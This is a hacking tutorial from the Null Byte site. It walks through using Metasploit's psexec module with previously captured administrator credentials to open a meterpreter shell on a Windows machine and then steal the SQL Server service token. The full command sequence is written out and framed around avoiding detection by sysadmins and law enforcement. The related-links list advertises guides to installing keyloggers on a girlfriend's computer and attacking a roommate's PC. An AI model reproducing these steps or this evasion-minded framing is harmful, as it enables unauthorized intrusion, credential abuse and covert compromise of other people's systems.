Hack Like a Pro: How to Use Metasploit's Psexec to Hack Without Leaving Evidence « Null Byte :: WonderHowTo

Welcome back, my fledgling hackers!It's been awhile since we did a Metasploit tutorial, and several of you have pleaded with me for more. I couldn't be happier to oblige, as it's my favorite tool. For the next several weeks, I'll intersperse some new guides that'll help expand your Metasploit skills and keep you abreast of new developments in Metasploit, so look for them in the near future.Leaving No Evidence Behind with MetasploitOne of the keys issues when exploiting a system is to remain undetected. If the system admin or security engineer detects that they've been exploited, they will likely shut off your path to the exploit, or worse—start tracking you down!Nearly every exploit leaves some forensic trail for the sysadmin or law enforcement, but the key is to leave as little as possible and then clean up as you leave. Metasploit has module calledpsexecthat enables you to hack the system and leave very little evidence behind, given that you already have sysadmin credentials, of course.We've already spent some time learning how to get credentials usingpwdump,Cain and Abel,John the Ripper,MitM, and thehashdump scriptin meterpreter. If you were to log in with these newly found credentials, your login and other actions will be tracked in the log files.In this tutorial, we'll assume that you already have the sysadmin credentials and want to own the system, while leaving as little evidence as possible that you were ever there.Step 1: Fire Up MetasploitLet's start by firing up Metasploit. You can do this by going through the menu system or simply typingmsfconsolefrom a terminal. Once we have Metasploit open, we can start with psexec by typing:use exploit/windows/smb/psexecStep 2: Set the OptionsFor our options, we need to tell Metasploit what payload to use first.set PAYLOAD windows/meterpreter/bind_tcpThen set our remote host (RHOST).set RHOST 192.168.2.129Next, we need to set our SMB user and password. As you know, SMB stands for Server Message Block. It's a application layer protocol that runs on port 445 that enables computers on a network to share resources such as files, printers, etc. SMB is one of the most common attack vectors in security intrusions.Enter in the SMBuser now.set SMBUser administratorThen the SMBpassword.set SMBPassword passwordOf course, you need to use the administrator's username and password that you captured earlier.Step 3: ExploitOnce we've entered all the information correctly for each of the options, we then simply type:exploitNote in the screenshot above that we have a meterpreter command prompt. Success!Step 4: Steal the TokenOnce we have a meterpreter command prompt on a system, we basically own the box. What we're able to do is almost unlimited. Here, I want to show you how to steal the tokens used for service and resource authentication.Windows, and for that matter, most other operating systems, use tokens or "tickets" to determine who can use what resources. We log in once and when we do, the system checks to see what resources we're authorized to access and then issues a token or ticket that enables us to access that resource without our having to re-authenticate.If we can grab the token or ticket for a particular service or resource, then we can use it with the same privileges as the user who was issued the token. We don't have to know the token, simply grab it, present it to the service, and we're in!In this case, we want to get into the SQL Server service. Let's first see if SQL Server is running on this system. Meterpreter uses the Linux commandpsto list services.psAs you can see here (highlighted in this screenshot) SQL Server is running and it has been assigned Process ID or PID of 1432.Step 5: Steal the TokenNow that we know that the service is running and its PID, we can attempt to steal its token. Meterpreter has a command calledsteal_tokenthat, surprisingly enough, attempts to steal the token from a service. Who would have thought!It's syntax is simple and straightforward, simply the command followed by the service's PID.steal_token 1432As you can see, the meterpreter has come back and indicated that our attempt to steal the SQL Server service was successful! Now, we should have nearly unlimited access to the SQL Server service and its databases!It should be repeated that psexec is only useful if you ALREADY have the sysadmin credentials. When you do, psexec enables you to own the the system, while leaving almost no evidence that you were ever there.That's it for now, but stay tuned, as I'll be offering more Metasploit tutorials in the near future.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseThieving handimage via ShutterstockRelatedHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Mac for Hackers:How to Install the Metasploit FrameworkHack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:How to Cover Your Tracks & Leave No Trace Behind on the Target SystemHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 3 (Payloads)Hack Like a Pro:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterHow To:Perform a Pass-the-Hash Attack & Get System Access on WindowsHack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)Hack Like a Pro:How to Cover Your Tracks So You Aren't DetectedHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHack Like a Pro:Exploring the Inner Architecture of MetasploitHack Like a Pro:Exploit MS Word to Embed a Listener on Your Roommate's ComputerHack Like a Pro:How to Hack Facebook (Same-Origin Policy)Hack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHack Like a Pro:Hacking Samba on Ubuntu and Installing the Meterpreter